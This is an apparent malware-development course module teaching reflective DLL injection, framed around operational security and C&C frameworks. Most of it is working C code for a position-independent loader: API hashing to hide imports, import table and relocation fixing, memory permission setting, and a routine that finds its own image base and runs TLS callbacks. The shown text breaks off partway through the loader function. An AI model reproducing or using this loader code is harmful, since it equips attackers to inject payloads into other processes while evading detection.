MalDev Study
Advanced Module 29advanced10 code files

Reflective DLL Injection

As demonstrated in the previous module, injecting a PE payload requires following multiple steps that replicate the actions of the Windows loader when executing a PE image. Howe...

Jump to Section (19)

Introduction

As demonstrated in the previous module, injecting a PE payload requires following multiple steps that replicate the actions of the Windows loader when executing a PE image. However, implementing what was introduced in the Local PE Injection module for remote process PE injection scenarios would prove to be challenging. Even if such an implementation were successful, it would require a large number of I/O operations with the remotely targeted process, which is highly suspicious and not in line with operational security best practices.

One way to circumvent this is by using process injection techniques like process hollowing, process ghosting, process herpaderping, and process doppelganging. These process injection techniques are effective but fall outside the scope of this module, and they will be covered in future modules.

On the other hand, one can still inject a PE file remotely using Reflective DLL injection, which is an older technique commonly utilized in various C&C frameworks.

Note: This module relies heavily on the Local PE Injection module and therefore it's strongly recommended to complete it before advancing to this module.

How Reflective DLL Works

A reflective DLL is a type of DLL that operates as a position-independent payload. It exports a unique function responsible for executing the same steps as local PE injection. In simpler terms, a reflective DLL injects itself when a specific exported function is called. The diagram below shows how reflective DLLs operate.

Reflective DLL Injection figure

The initial POC on reflective DLL injection was demonstrated in Stephen Fewer's ReflectiveDLLInjection repository, where the exported function name is ReflectiveLoader.

The ReflectiveLoader function is responsible for applying relocations, fixing IAT, setting suitable memory permissions, etc., which are the same steps performed in the previous module to execute a PE file locally.

Guidelines for Building Reflective DLLs

When creating a reflective DLL, one must avoid using global variables, as well as importing WinAPIs into the reflective DLL's special exported function. Global variables and WinAPIs should be avoided in this function because the function needs to be position-independent. Accessing global variables relies on offsets set by the compiler, which may become invalid because the reflective loader is not mapped in the same way as a traditional executable.

Moreover, when using WinAPIs like VirtualAlloc from within this function without resolving it manually via API hashing, for example, the DLL will have to refer to its IAT, which is still not fixed, resulting in an access violation exception.

With that being said, the function on which the reflective DLL should rely to do the IAT fixing and relocations should only call WinAPIs through their function pointers retrieved from API hashing. The reflective DLL's entry point, on the other hand, is free to use anything it needs, as it's only executed from within the special function after resolving the DLL's PE prerequisites in the target process.

In the following sections, this special function we'll be creating is named ReflectiveFunction.

API Hashing

As previously mentioned, API hashing is required to be used by the special exported function (i.e. ReflectiveFunction). The GetModuleHandleH and GetProcAddressH functions will be responsible for resolving all WinAPIs used in the ReflectiveFunction function.

CPP
HMODULE GetModuleHandleH(IN UINT32 uModuleHash) {
CPP
    PPEB                    pPeb = NULL;
    PPEB_LDR_DATA           pLdr = NULL;
    PLDR_DATA_TABLE_ENTRY   pDte = NULL;

    pPeb = (PPEB)__readgsqword(0x60);
    pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);
    pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);

    // Return the handle of the local .exe image
    if (!uModuleHash)
        return (HMODULE)pDte->Reserved2[0];

    while (pDte) {

        if (pDte->FullDllName.Buffer && pDte->FullDllName.Length < MAX_PATH) {

            CHAR    cLDllName[MAX_PATH]    = { 0 };
            DWORD   x                      = 0x00;

            while (pDte->FullDllName.Buffer[x]) {
                CHAR    wC = pDte->FullDllName.Buffer[x];
                // Convert to lowercase
                if (wC >= 'A' && wC <= 'Z')
                    cLDllName[x] = wC - 'A' + 'a';
                // Copy other characters (numbers, special characters ...)
                else
                    cLDllName[x] = wC;

                x++;
            }

            cLDllName[x] = '\0';

            if (CRC32B(pDte->FullDllName.Buffer) == uModuleHash || CRC32B(cLDllName) == uModuleHash)
                return (HMODULE)pDte->Reserved2[0];
        }

        // Move to the next node in the linked list
        pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
    }

    return NULL;
}

FARPROC GetProcAddressH(IN HMODULE hModule, IN UINT32 uApiHash) {

    PBYTE                           pBase                         = (PBYTE)hModule;
    PIMAGE_NT_HEADERS               pImgNtHdrs                    = NULL;
    PIMAGE_EXPORT_DIRECTORY         pImgExportDir                 = NULL;
    PDWORD                          pdwFunctionNameArray          = NULL;
    PDWORD                          pdwFunctionAddressArray       = NULL;
    PWORD                           pwFunctionOrdinalArray        = NULL;
    DWORD                           dwImgExportDirSize            = 0x00;

    if (!hModule || !uApiHash)
        return NULL;

    pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return NULL;

    pImgExportDir                  = (PIMAGE_EXPORT_DIRECTORY)(pBase + pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Virtu
alAddress);
    dwImgExportDirSize             = pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
    pdwFunctionNameArray           = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
    pdwFunctionAddressArray        = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
    pwFunctionOrdinalArray         = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);

    for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {

        CHAR*   pFunctionName         = (CHAR*)(pBase + pdwFunctionNameArray[i]);
        PVOID   pFunctionAddress      = (PVOID)(pBase + pdwFunctionAddressArray[pwFunctionOrdinalArray[i]]);

        if (CRC32B(pFunctionName) == uApiHash) {

            // Forwarded functions support:
            if ((((ULONG_PTR)pFunctionAddress) >= ((ULONG_PTR)pImgExportDir)) &&
                (((ULONG_PTR)pFunctionAddress) < ((ULONG_PTR)pImgExportDir) + dwImgExportDirSize)
                ) {

                CHAR      cForwarderName[MAX_PATH]      = { 0 };
                DWORD     dwDotOffset                   = 0x00;
                PCHAR     pcFunctionMod                 = NULL;
                PCHAR     pcFunctionName                = NULL;

                memcpy(cForwarderName, pFunctionAddress, StringLengthA((PCHAR)pFunctionAddress));

                for (int i = 0; i < StringLengthA((PCHAR)cForwarderName); i++) {

                    if (((PCHAR)cForwarderName)[i] == '.') {
                        dwDotOffset = i;
                        cForwarderName[i] = NULL;
                        break;
                    }
                }

                pcFunctionMod   = cForwarderName;
                pcFunctionName  = cForwarderName + dwDotOffset + 1;

                fnLoadLibraryA pLoadLibraryA = (fnLoadLibraryA)GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), LoadLibraryA_CRC32);
                if (pLoadLibraryA)
                    return GetProcAddressH(pLoadLibraryA(pcFunctionMod), CRC32B(pcFunctionName));
            }
            return (FARPROC)pFunctionAddress;
        }

    }

    return NULL;
}

Both the GetModuleHandleH and GetProcAddressH functions were frequently used during the course, with both relying on the Cyclic Redundancy Check string hashing algorithm executed by the CRC32B function shown below.

POWERSHELL
UINT32 CRC32B(LPCSTR cString) {

    UINT32          uMask         = 0x00;
    UINT32          uHash         = 0xFFFFFFFF;
    INT             i             = 0x00;

    while (cString[i] != 0) {

        uHash = uHash ^ (UINT32)cString[i];

        for (int ii = 0; ii < 8; ii++) {

            uMask = -1 * (uHash & 1);
            uHash = (uHash >> 1) ^ (0xEDB88320 & uMask);
        }

        i++;
    }

    return ~uHash;
}

Reusing Functions From The Local PE Injection Module

Next, since our ReflectiveFunction function will serve the same purpose as the LocalPeExec function (refer to the Local PE Injection module), we will be leveraging certain functions introduced in that module, namely:

  • FixImportAddressTable Resolving IAT.
  • FixReloc Performs PE Relocation.
  • FixMemPermissions Sets The Correct Memory Permissions.

The only difference is that these functions will utilize API hashing to resolve function pointers through GetModuleHandleH and GetProcAddressH, rather than directly invoking the WinAPIs utilized (e.g. calling LoadLibraryA directly).

The three reused functions are shown below and have been updated to use GetModuleHandleH and GetProcAddressH.

CPP
BOOL FixImportAddressTable(IN PIMAGE_DATA_DIRECTORY pEntryImportDataDir, IN PBYTE pPeBaseAddress) {

    // Pointer to an import descriptor for a DLL
    PIMAGE_IMPORT_DESCRIPTOR pImgDescriptor = NULL;
    // Iterate over the import descriptors
    for (SIZE_T i = 0; i < pEntryImportDataDir->Size; i += sizeof(IMAGE_IMPORT_DESCRIPTOR)) {
        // Get the current import descriptor
        pImgDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pEntryImportDataDir->VirtualAddress + pPeBaseAddress + i);
        // If both thunks are NULL, we've reached the end of the import descriptors list
        if (pImgDescriptor->OriginalFirstThunk == NULL && pImgDescriptor->FirstThunk == NULL)
            break;

        // Retrieve LoadLibraryA's function pointer via API hashing
        fnLoadLibraryA           pLoadLibraryA          = (fnLoadLibraryA)GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), LoadLibraryA_CRC32);
        // Retrieve information from the current import descriptor
        LPSTR           cDllName                = (LPSTR)((ULONGLONG)pPeBaseAddress + pImgDescriptor->Name);
        ULONG_PTR       uOriginalFirstThunkRVA  = pImgDescriptor->OriginalFirstThunk;
        ULONG_PTR       uFirstThunkRVA          = pImgDescriptor->FirstThunk;
        SIZE_T          ImgThunkSize            = 0x00;
        HMODULE         hModule                 = NULL;

        if (!pLoadLibraryA)
            return FALSE;

        // Try to load the DLL referenced by the current import descriptor
        if (!(hModule = pLoadLibraryA(cDllName)))
            return FALSE;

        // Iterate over the imported functions for the current DLL
        while (TRUE) {
            // Get pointers to the first thunk and original first thunk data
            PIMAGE_THUNK_DATA               pOriginalFirstThunk      = (PIMAGE_THUNK_DATA)(pPeBaseAddress + uOriginalFirstThunkRVA + ImgThunkSize);
            PIMAGE_THUNK_DATA               pFirstThunk              = (PIMAGE_THUNK_DATA)(pPeBaseAddress + uFirstThunkRVA + ImgThunkSize);
            PIMAGE_IMPORT_BY_NAME           pImgImportByName         = NULL;
            ULONG_PTR                       pFuncAddress             = NULL;

            // At this point both 'pOriginalFirstThunk' & 'pFirstThunk' will have the same values
            // However, to populate the IAT (pFirstThunk), one should use the INT (pOriginalFirstThunk) to retrieve the 
            // functions addresses and patch the IAT (pFirstThunk->u1.Function) with the calculated address.
            if (pOriginalFirstThunk->u1.Function == NULL && pFirstThunk->u1.Function == NULL) {
                break;
            }

            // If the ordinal flag is set, import the function by its ordinal number
            if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal)) {
                // Since our GetProcAddressH function doesn't support ordinals as input, one can fetch the function address via the following code:

                // Retrieve required headers of the loaded DLL module
                PIMAGE_NT_HEADERS               _pImgNtHdrs                = NULL;
                PIMAGE_EXPORT_DIRECTORY         _pImgExportDir             = NULL;
                PDWORD                          _pdwFunctionAddressArray   = NULL;

                _pImgNtHdrs               = ((ULONG_PTR)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew);
                if (_pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
                    return FALSE;
                _pImgExportDir            = (PIMAGE_EXPORT_DIRECTORY)(((ULONG_PTR)hModule) + _pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECT
ORY_ENTRY_EXPORT].VirtualAddress);
                _pdwFunctionAddressArray  = (PDWORD)((ULONG_PTR)hModule + _pImgExportDir->AddressOfFunctions);
                // Use the ordinal to retrieve the function address
                pFuncAddress              = ((ULONG_PTR)hModule + _pdwFunctionAddressArray[pOriginalFirstThunk->u1.Ordinal]);

                if (!pFuncAddress) {
                    return FALSE;
                }
            }
            // Import function by name
            else {
                pImgImportByName = (PIMAGE_IMPORT_BY_NAME)((SIZE_T)pPeBaseAddress + pOriginalFirstThunk->u1.AddressOfData);
                if (!(pFuncAddress = (ULONG_PTR)GetProcAddressH(hModule, CRC32B(pImgImportByName->Name)))) {
                    return FALSE;
                }
            }

            // Install the function address in the IAT
            pFirstThunk->u1.Function = (ULONGLONG)pFuncAddress;

            // Move to the next function in the IAT/INT array
            ImgThunkSize += sizeof(IMAGE_THUNK_DATA);

        }
    }

    return TRUE;
}

//-------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------

typedef struct _BASE_RELOCATION_ENTRY {
    WORD    Offset : 12;
    WORD    Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
CPP
BOOL FixReloc(IN PIMAGE_DATA_DIRECTORY pEntryBaseRelocDataDir, IN ULONG_PTR pPeBaseAddress, IN ULONG_PTR pPreferableAddress) {

    // Pointer to the beginning of the base relocation block.
    PIMAGE_BASE_RELOCATION pImgBaseRelocation = (pPeBaseAddress + pEntryBaseRelocDataDir->VirtualAddress);

    // The difference between the current PE image base address and its preferable base address.
    ULONG_PTR uDeltaOffset = pPeBaseAddress - pPreferableAddress;

    // Pointer to individual base relocation entries.
    PBASE_RELOCATION_ENTRY pBaseRelocEntry = NULL;

    // Iterate through all the base relocation blocks.
    while (pImgBaseRelocation->VirtualAddress) {

        // Pointer to the first relocation entry in the current block.
        pBaseRelocEntry = (PBASE_RELOCATION_ENTRY)(pImgBaseRelocation + 1);

        // Iterate through all the relocation entries in the current block.
        while ((PBYTE)pBaseRelocEntry != (PBYTE)pImgBaseRelocation + pImgBaseRelocation->SizeOfBlock) {
            // Process the relocation entry based on its type.
            switch (pBaseRelocEntry->Type) {
            case IMAGE_REL_BASED_DIR64:
                // Adjust a 64-bit field by the delta offset.
                *((ULONG_PTR*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += uDeltaOffset;
                break;
            case IMAGE_REL_BASED_HIGHLOW:
                // Adjust a 32-bit field by the delta offset.
                *((DWORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += (DWORD)uDeltaOffset;
                break;
            case IMAGE_REL_BASED_HIGH:
                // Adjust the high 16 bits of a 32-bit field.
                *((WORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += HIWORD(uDeltaOffset);
                break;
            case IMAGE_REL_BASED_LOW:
                // Adjust the low 16 bits of a 32-bit field.
                *((WORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += LOWORD(uDeltaOffset);
                break;
            case IMAGE_REL_BASED_ABSOLUTE:
                // No relocation is required.
                break;
            default:
                // Unknown relocation types.
                return FALSE;
            }
            // Move to the next relocation entry.
            pBaseRelocEntry++;
        }

        // Move to the next relocation block.
        pImgBaseRelocation = (PIMAGE_BASE_RELOCATION)pBaseRelocEntry;
    }

    return TRUE;
}

//-------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------

BOOL FixMemPermissions(IN ULONG_PTR pPeBaseAddress, IN PIMAGE_NT_HEADERS pImgNtHdrs, IN PIMAGE_SECTION_HEADER pImgSecHdr) {

    fnVirtualProtectpVirtualProtect = NULL;

    if (!(pVirtualProtect = (fnVirtualProtect)GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), VirtualProtect_CRC32)))
        return FALSE;

    // Loop through each section of the PE image.
    for (DWORD i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {

        // Variables to store the new and old memory protections.
        DWORD   dwProtection           = 0x00,
                dwOldProtection        = 0x00;

        // Skip the section if it has no data or no associated virtual address.
        if (!pImgSecHdr[i].SizeOfRawData || !pImgSecHdr[i].VirtualAddress)
            continue;

        // Determine memory protection based on section characteristics.
        // These characteristics dictate whether the section is readable, writable, executable, etc.
        if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE)
            dwProtection = PAGE_WRITECOPY;

        if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)
            dwProtection = PAGE_READONLY;

        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
            dwProtection = PAGE_READWRITE;

        if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
            dwProtection = PAGE_EXECUTE;

        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE))
            dwProtection = PAGE_EXECUTE_WRITECOPY;

        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
            dwProtection = PAGE_EXECUTE_READ;

        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Char
acteristics & IMAGE_SCN_MEM_READ))
            dwProtection = PAGE_EXECUTE_READWRITE;

        // Apply the determined memory protection to the section.
        if (!pVirtualProtect((PVOID)(pPeBaseAddress + pImgSecHdr[i].VirtualAddress), pImgSecHdr[i].SizeOfRawData, dwProtection, &dwOldProtection)) 
{
            return FALSE;
        }
    }

    return TRUE;
}

Building ReflectiveFunction

To create the ReflectiveFunction, the initial step involves resolving the function pointers of the WinAPIs used within it. These WinAPIs are VirtualAlloc, RtlAddFunctionTable, and NtFlushInstructionCache (details on NtFlushInstructionCache usage will be provided later).

After resolving the function pointers of the WinAPIs, the ReflectiveFunction function should proceed to retrieve the base address of the reflective DLL.

Finding The Reflective DLL's Base Address

The reflective DLL's base address is the location where the reflective DLL injector writes the DLL into the remote process. This address plays a crucial role in calculating other virtual addresses by adding it to Relative Virtual Addresses RVAs). To compare this with the previous Local PE Injection implementation, you can liken this address to the PBYTE pFileBuffer element within the PE_HDRS structure. However, obtaining this base address can be challenging and can be accomplished using one of two methods:

1. The ReflectiveFunction function can be modified to accept a parameter (e.g. ULONG_PTR uReflectiveDllModule). This parameter will be passed to it using the

  • lpParameter parameter of CreateRemoteThread in the Reflective DLL injector. The injector is aware of the base address of the DLL because it allocates memory for it in the remote process, often using functions like VirtualAllocEx. Consequently, when ReflectiveFunction is executed, the DLL's base address will have already been resolved. This method is relatively straightforward and requires less code than the next method.

2.The second method involves brute-forcing the reflective DLL's base address by creating a loop that continues until it locates the first DOS header. This approach works

  • because the ReflectiveFunction function is situated relatively below the PE headers of the reflective DLL in the injected memory. By decrementing the address one byte at a time from the ReflectiveFunction function's address, the loop will eventually arrive at the DOS header of the same DLL image that contains the ReflectiveFunction function. Unlike the first method, this approach does not require any parameter modification in the ReflectiveFunction function but is more challenging to implement.

This module will assign the implementation of the first method to the reader as an objective while presenting the second method in the following code snippet.

Brute-forcing The Reflective DLL's Base Address

The code below performs brute forces to locate the reflective DLL's base address as previously explained.

CPP
ULONG_PTR               uTmpAddress              = NULL, // Tmp variable used to brute force the reflective DLL base address
                        uReflectiveDllModule     = NULL; // The base address of the Reflective DLL

PIMAGE_DOS_HEADER       pImgDosHdr               = NULL;
PIMAGE_NT_HEADERS       pImgNtHdrs               = NULL;

// Brute forcing ReflectiveDllLdr.dll's base address, starting at ReflectiveFunction's address
uTmpAddress = (ULONG_PTR)ReflectiveFunction;

do {
    pImgDosHdr = (PIMAGE_DOS_HEADER)uTmpAddress;

    // Check if the current uTmpAddress is a DOS header
    if (pImgDosHdr->e_magic == IMAGE_DOS_SIGNATURE)   {

        // To terminate false positives - we do another check by retrieving the NT header and checking its signature as well
        pImgNtHdrs = (PIMAGE_NT_HEADERS)(uTmpAddress + pImgDosHdr->e_lfanew);

        if (pImgNtHdrs->Signature == IMAGE_NT_SIGNATURE) {
            // If valid, the current uTmpAddress is ReflectiveDllLdr.dll's base address 
            uReflectiveDllModule = uTmpAddress;
            break;
        }
    }
    // Keep decrementing to reach the DLL's base address
    uTmpAddress--;

} while (TRUE);

ReflectiveFunction Code

The current ReflectiveFunction code that we have will perform the following actions:

  • Uses API hashing to retrieve the WinAPIs function pointers.
  • Brute forces the reflective DLL's base address.
  • Initialize a PE_HDRS structure with the required PE headers to use in later steps.
  • Allocate enough memory to hold the reflective DLL PE file.
  • Copy over the reflective DLL's sections to the allocated memory.
  • Address the reflective DLL's PE relocations.
  • Fix the reflective DLL's IAT.
  • Set a suitable memory permission for each of the reflective DLL's sections.
  • Register the function table of the exception handler of the reflective DLL if exists.
  • Execute the TLS callbacks of the reflective DLL if exists.
CPP
extern __declspec(dllexport) BOOL ReflectiveFunction() {

    ULONG_PTR                       uTmpAddress                     = NULL, // Tmp variable used to brute force the reflective DLL base address
                                    uReflectiveDllModule            = NULL; // The base address of the Reflective DLL
    PIMAGE_DOS_HEADER               pImgDosHdr                       = NULL;
    PIMAGE_NT_HEADERS               pImgNtHdrs                       = NULL;
    PBYTE                           pPeBaseAddress                   = NULL;
    fnDllMain                       pDllMain                         = NULL;
    PE_HDRS                         PeHdrs                           = { 0x00 };

    fnVirtualAlloc                  pVirtualAlloc                   = NULL;
    fnRtlAddFunctionTable           pRtlAddFunctionTable            = NULL;
    fnNtFlushInstructionCache       pNtFlushInstructionCache        = NULL;

    // Use API hashing to retrieve the WinAPIs function pointers
    if (!(pVirtualAlloc = (fnVirtualAlloc)GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), VirtualAlloc_CRC32)))
        return FALSE;
    if (!(pRtlAddFunctionTable = (fnRtlAddFunctionTable)GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), RtlAddFunctionTable_CRC32)))
        return FALSE;
    if (!(pNtFlushInstructionCache = (fnNtFlushInstructionCache)GetProcAddressH(GetModuleHandleH(ntdlldll_CRC32), NtFlushInstructionCache_CRC32)))
        return FALSE;

    // Brute forcing ReflectiveDllLdr.dll's base address, starting at ReflectiveFunction's address
    uTmpAddress = (ULONG_PTR)ReflectiveFunction;

    do
    {
        pImgDosHdr = (PIMAGE_DOS_HEADER)uTmpAddress;

        // Check if the current uTmpAddress is a DOS header
        if (pImgDosHdr->e_magic == IMAGE_DOS_SIGNATURE)
        {
            // To terminate false positives - we do another check by retrieving the NT header and checking its signature as well
            pImgNtHdrs = (PIMAGE_NT_HEADERS)(uTmpAddress + pImgDosHdr->e_lfanew);

            if (pImgNtHdrs->Signature == IMAGE_NT_SIGNATURE) {
                // If valid, the current uTmpAddress is ReflectiveDllLdr.dll's base address 
                uReflectiveDllModule = uTmpAddress;
                break;
            }
        }
        // Keep decrementing to reach the DLL's base address
        uTmpAddress--;

    } while (TRUE);
CPP
    if (!uReflectiveDllModule)
        return FALSE;

    // Initializing the 'PeHdrs' structure
    PeHdrs.pImgNtHdrs               = pImgNtHdrs;
    PeHdrs.pImgSecHdr               = IMAGE_FIRST_SECTION(PeHdrs.pImgNtHdrs);
    PeHdrs.pEntryImportDataDir      = &PeHdrs.pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    PeHdrs.pEntryBaseRelocDataDir   = &PeHdrs.pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    PeHdrs.pEntryTLSDataDir         = &PeHdrs.pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
    PeHdrs.pEntryExceptionDataDir   = &PeHdrs.pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
    PeHdrs.pEntryExportDataDir      = &PeHdrs.pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

    // Allocating memory for the PE
    if ((pPeBaseAddress = pVirtualAlloc(NULL, PeHdrs.pImgNtHdrs->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) == NULL) {
        return FALSE;
    }

    // Copying PE sections
    for (int i = 0; i < PeHdrs.pImgNtHdrs->FileHeader.NumberOfSections; i++) {
        memcpy(
            (PVOID)(pPeBaseAddress + PeHdrs.pImgSecHdr[i].VirtualAddress),
            (PVOID)(uReflectiveDllModule + PeHdrs.pImgSecHdr[i].PointerToRawData),
            PeHdrs.pImgSecHdr[i].SizeOfRawData
        );
    }

    // Calculating ReflectiveDllLdr.dll's entry point address 
    pDllMain = (fnDllMain)(pPeBaseAddress + PeHdrs.pImgNtHdrs->OptionalHeader.AddressOfEntryPoint);

    // Fixing the IAT 
    if (!FixImportAddressTable(PeHdrs.pEntryImportDataDir, pPeBaseAddress))
        return FALSE;

    // Applying relocations
    if (!FixReloc(PeHdrs.pEntryBaseRelocDataDir, pPeBaseAddress, PeHdrs.pImgNtHdrs->OptionalHeader.ImageBase))
        return FALSE;

    // Setting up suitable memory permissions
    if (!FixMemPermissions(pPeBaseAddress, PeHdrs.pImgNtHdrs, PeHdrs.pImgSecHdr))
        return FALSE;

    // Set exception handlers of the injected PE (if exists)
    if (PeHdrs.pEntryExceptionDataDir->Size) {
        // Retrieve the function table entry
        PIMAGE_RUNTIME_FUNCTION_ENTRY pImgRuntimeFuncEntry = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(pPeBaseAddress + PeHdrs.pEntryExceptionDataDir->Virtua
lAddress);
        // Register the function table
        if (!pRtlAddFunctionTable(pImgRuntimeFuncEntry, (PeHdrs.pEntryExceptionDataDir->Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)) - 1, pPeBaseAd
dress)) {
        }
    }

    // Execute TLS callbacks (if exists)
    if (PeHdrs.pEntryTLSDataDir->Size) {
        // Retrieve the address of the TLS Directory.
        PIMAGE_TLS_DIRECTORY    pImgTlsDirectory        = (PIMAGE_TLS_DIRECTORY)(pPeBaseAddress + PeHdrs.pEntryTLSDataDir->VirtualAddress);
        // Get the address of the TLS Callbacks from the TLS Directory.
        PIMAGE_TLS_CALLBACK*    pImgTlsCallback         = (PIMAGE_TLS_CALLBACK*)(pImgTlsDirectory->AddressOfCallBacks);
        CONTEXT                 pCtx                    = { 0x00 };
        // Iterate through and invoke each TLS Callback until a NULL callback is encountered.
        for (; *pImgTlsCallback; pImgTlsCallback++)
            (*pImgTlsCallback)((LPVOID)pPeBaseAddress, DLL_PROCESS_ATTACH, &pCtx);
    }
CPP
    // THE REST...
}

Clearing Instruction Cache Using NtFlushInstructionCache

NtFlushInstructionCache serves the purpose of clearing the instruction cache within a specified memory range. The instruction cache is a specialized high-speed memory storage component within a computer's CPU, responsible for storing frequently used machine code instructions. Its primary objective is to enhance the overall performance and efficiency of program execution. While invoking NtFlushInstructionCache can be considered an optional step, it becomes particularly valuable in the context of a reflective DLL that performs relocations on a running process. It is advisable to call NtFlushInstructionCache before executing the entry point. This function takes three parameters, as shown below:

CPP
NTSYSCALLAPI NTSTATUS NTAPI NtFlushInstructionCache(
    IN HANDLE ProcessHandle,
    IN OPTIONAL PVOID BaseAddress,
    IN SIZE_T Length
);

In Stephen Fewer's code, the NtFlushInstructionCache function was invoked in the following manner, effectively clearing the entire process's instruction cache rather than a specific memory region:

CPP
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );

Updating ReflectiveFunction's Code

The ReflectiveFunction function's code is now updated to call NtFlushInstructionCache then the DLL's entry point.

CPP
extern __declspec(dllexport) BOOL ReflectiveFunction() {

    ULONG_PTR                       uTmpAddress                     = NULL, // Tmp variable used to brute force the reflective DLL base address
                                    uReflectiveDllModule            = NULL; // The base address of the Reflective DLL
    PIMAGE_DOS_HEADER               pImgDosHdr                       = NULL;
    PIMAGE_NT_HEADERS               pImgNtHdrs                       = NULL;
    PBYTE                           pPeBaseAddress                   = NULL;
    fnDllMain                       pDllMain                         = NULL;
    PE_HDRS                         PeHdrs                           = { 0x00 };

    fnVirtualAlloc                  pVirtualAlloc                   = NULL;
    fnRtlAddFunctionTable           pRtlAddFunctionTable            = NULL;
    fnNtFlushInstructionCache       pNtFlushInstructionCache        = NULL;

    // Use API hashing to retrieve the WinAPIs function pointers
    if (!(pVirtualAlloc = (fnVirtualAlloc)GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), VirtualAlloc_CRC32)))
        return FALSE;
    if (!(pRtlAddFunctionTable = (fnRtlAddFunctionTable)GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), RtlAddFunctionTable_CRC32)))
        return FALSE;
    if (!(pNtFlushInstructionCache = (fnNtFlushInstructionCache)GetProcAddressH(GetModuleHandleH(ntdlldll_CRC32), NtFlushInstructionCache_CRC32)))
        return FALSE;

    // Brute forcing ReflectiveDllLdr.dll's base address, starting at ReflectiveFunction's address
    uTmpAddress = (ULONG_PTR)ReflectiveFunction;

    do
    {
        pImgDosHdr = (PIMAGE_DOS_HEADER)uTmpAddress;

        // Check if the current uTmpAddress is a DOS header
        if (pImgDosHdr->e_magic == IMAGE_DOS_SIGNATURE)
        {
            // To terminate false positives - we do another check by retrieving the NT header and checking its signature as well
            pImgNtHdrs = (PIMAGE_NT_HEADERS)(uTmpAddress + pImgDosHdr->e_lfanew);

            if (pImgNtHdrs->Signature == IMAGE_NT_SIGNATURE) {
                // If valid, the current uTmpAddress is ReflectiveDllLdr.dll's base address 
                uReflectiveDllModule = uTmpAddress;
                break;
            }
        }
        // Keep decrementing to reach the DLL's base address
        uTmpAddress--;

    } while (TRUE);
CPP
    if (!uReflectiveDllModule)
        return FALSE;

    // Initializing the 'PeHdrs' structure
    PeHdrs.pImgNtHdrs               = pImgNtHdrs;
    PeHdrs.pImgSecHdr               = IMAGE_FIRST_SECTION(PeHdrs.pImgNtHdrs);
    PeHdrs.pEntryImportDataDir      = &PeHdrs.pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    PeHdrs.pEntryBaseRelocDataDir   = &PeHdrs.pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    PeHdrs.pEntryTLSDataDir         = &PeHdrs.pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
    PeHdrs.pEntryExceptionDataDir   = &PeHdrs.pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
    PeHdrs.pEntryExportDataDir      = &PeHdrs.pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

    // Allocating memory for the PE
